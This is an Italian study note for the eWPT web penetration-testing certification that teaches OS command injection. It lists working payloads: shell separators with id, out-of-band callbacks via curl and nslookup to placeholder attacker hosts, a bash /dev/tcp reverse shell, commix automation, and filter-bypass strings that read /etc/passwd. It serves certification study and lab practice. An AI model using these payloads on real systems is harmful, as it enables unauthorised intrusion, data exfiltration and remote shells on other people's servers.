eWPT · Exploitation & Post-Ex
RCE Techniques
Difficoltà: Advanced Time to Master: 2h Prerequisiti: 01-File-Upload-Abuse.md Lab: HTB (command injection labs)
Obiettivo
Da qualche parte nel codice, l’input che hai appena inviato finisce dentro una chiamata come system() o exec() insieme a un comando che lo sviluppatore si aspettava innocuo (un IP da pingare, un nome file da convertire). Se quell’input non viene sanificato, tu non stai più “sfruttando un parametro”: stai scrivendo shell command veri e propri che il server esegue per te. È uno dei momenti in cui capisci fisicamente cosa significa “esecuzione di codice arbitrario”, perché il primo id che torna nella risposta è quasi sempre un piccolo salto sulla sedia.
Concetti chiave
Dove cercare command injection
Funzionalità che internamente chiamano tool di sistema: ping, traceroute, conversione file, generazione PDF/report, backup.
Operatori di concatenazione comandi (shell)
| Operatore | Comportamento |
|---|---|
; |
esegue comando successivo indipendentemente dal risultato del primo |
&& |
esegue comando successivo solo se il primo ha successo |
\|\| |
esegue comando successivo solo se il primo fallisce |
\| |
passa l’output del primo come input al secondo |
` / $() |
command substitution, esegue e sostituisce con l’output |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| Burp Repeater | payload manuale nel parametro | output comando nella risposta | principale |
| commix | commix --url="URL?ip=1" |
automatizza detection/exploit | equivalente sqlmap per command injection |
Payload / Esempi
Esempio 1: command injection classica su funzione “ping”
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1 `id`
127.0.0.1 $(id)
Output atteso:
PING 127.0.0.1 ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Spiegazione: se l’output del comando iniettato appare nella risposta insieme all’output atteso (ping), la command injection è confermata e diretta (non blind).
Esempio 2: blind command injection (nessun output visibile) via out-of-band
127.0.0.1; curl http://ATTACKER_IP/confirm
127.0.0.1; nslookup $(whoami).ATTACKER_DOMAIN
Spiegazione: se non vedi output diretto, forza il server a contattare un tuo listener: la ricezione della richiesta (o la sua assenza) conferma comunque l’esecuzione, e con nslookup $(whoami).ATTACKER_DOMAIN puoi persino esfiltrare l’output di un comando tramite subdomain DNS (serve un dominio, non un IP, con NS autoritativo sotto il tuo controllo: vedi 06-Data-Exfiltration.md).
Esempio 3: reverse shell diretta come payload di injection
127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Vedi 03-Reverse-Shells.md per varianti complete su più linguaggi/shell disponibili.
Esempio 4: automazione con commix
commix --url="http://target.com/ping?ip=127.0.0.1" --data="ip=127.0.0.1" -p ip
Evasion / Bypass Techniques
Bypass filtro su spazi
127.0.0.1;{cat,/etc/passwd}
127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1;cat$IFS/etc/passwd
Bypass blacklist su parole chiave (es. “cat” bloccato)
127.0.0.1;c'a't /etc/passwd
127.0.0.1;c""at /etc/passwd
127.0.0.1;/bin/c?t /etc/passwd
Bypass filtro su ;/&&/|
127.0.0.1$(id) # command substitution senza separatore aggiuntivo
127.0.0.1%0aid # newline encoded al posto del separatore
Lab Hands-On
Lab 1 (PortSwigger): OS command injection, simple case
Obiettivo: eseguire comandi arbitrari tramite funzione di rete integrata Difficulty: Medio Time: 30 min
Walkthrough breve:
- Trova una funzionalità che richiama tool di sistema (ping/traceroute)
- Testa i separatori di comando uno per uno
- Conferma esecuzione con
id/whoami
Common Mistakes
- Provare solo
;-> alcuni filtri bloccano solo un separatore, prova sempre l’intera lista - Non pensare al blind/out-of-band quando l’output non è visibile -> molti command injection reali sono blind, serve DNS/HTTP callback per confermarli
- Dimenticare IFS per bypass filtro spazio ->
${IFS}è spesso l’unica via quando lo spazio letterale è bloccato
Link Utili
Connessioni
- Prerequisito: 01-File-Upload-Abuse.md
- Prossimo Step: 03-Reverse-Shells.md
Checklist di padronanza
- Conosco tutti i separatori di comando shell principali
- So riconoscere e confermare blind command injection via out-of-band
- So bypassare filtri su spazio e blacklist di keyword
- So usare commix per automatizzare quando serve